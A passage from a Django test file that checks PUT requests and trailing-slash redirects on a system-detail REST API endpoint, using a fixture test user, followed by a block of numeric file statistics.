Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # get object systemtype_id = Systemtype.objects.get(systemtype_name='systemtype_1').systemtype_id # get object tag_id = Tag.objects.get(tag_name='tag_1').tag_id # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create url destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/') # create PUT string putstring = { "system_name": "new_system_api_1", "analysisstatus": analysisstatus_id, "case": [ case_id, ], "company": [ company_id, ], "contact": contact_id, "dnsname": dnsname_id, "domain": domain_id, "hostsystem": hostsystem_id, "ip": [ ip_id, ], "location": location_id, "os": os_id, "osarch": osarch_id, "reason": reason_id, "recommendation": recommendation_id, "serviceprovider": serviceprovider_id, "systemstatus": systemstatus_id, "systemtype": systemtype_id, "tag": [ tag_id, ], "system_lastbooted_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_deprecated_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_is_vm": True, "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), "system_created_by_user_id": test_user_id, "system_modified_by_user_id": test_user_id, "system_export_markdown": False, "system_export_spreadsheet": False, } # get response response = self.client.put(destination, data=putstring, content_type='application/json') # compare self.assertEqual(response.status_code, 200) # TODO: is it possible to declare (and therefore test) nested serializers this way (like with analysisstatus in this example)? # def test_system_detail_api_method_put_all_fk(self): # """ PUT is allowed """ # # # get user # test_user_id = User.objects.get(username='testuser_system_api').id # # get object # system_api_1 = System.objects.get(system_name='system_api_1') # # get object # analysisstatus_name = Analysisstatus.objects.get(analysisstatus_name='analysisstatus_1').analysisstatus_name # # get object # systemstatus_id = Systemstatus.objects.get(systemstatus_name='systemstatus_1').systemstatus_id # # login testuser # self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # # create url # destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/') # # create PUT string # putstring = { # "system_name": "new_system_api_1", # "analysisstatus": { # "analysisstatus_name": analysisstatus_name, # }, # "systemstatus": systemstatus_id, # "system_modify_time": timezone.now().strftime('%Y-%m-%dT%H:%M'), # "system_created_by_user_id": test_user_id, # "system_modified_by_user_id": test_user_id, # } # # get response # response = self.client.put(destination, data=putstring, content_type='application/json') # # compare # self.assertEqual(response.status_code, 200) def test_system_detail_api_redirect(self): """ test redirect with appending slash """ # get object system_api_1 = System.objects.get(system_name='system_api_1') # login testuser self.client.login(username='testuser_system_api', password='Pqtg7fic7FfB2ESEwaPc') # create url destination = urllib.parse.quote('/api/system/' + str(system_api_1.system_id) + '/', safe='/') # get response response = self.client.get('/api/system/' + str(system_api_1.system_id), follow=True) # compare self.assertRedirects(response, destination, status_code=301, target_status_code=200)

42.155251

205

0.633016

2,075

18,464

5.340241

0.068916

0.04783

0.037722

0.04061

0.875733

0.858406

0.85597

0.83765

0.815269

0.811208

0

0.013789

0.257636

18,464

437

206

42.251716

0.79463

0.239114

0

0.736842

0

0.169904

0.027979

0

0.002288

0.048246

1

0.052632

false

0.04386

0.02193

0

0.078947

0

null

0

1

0

1

0

null

0

7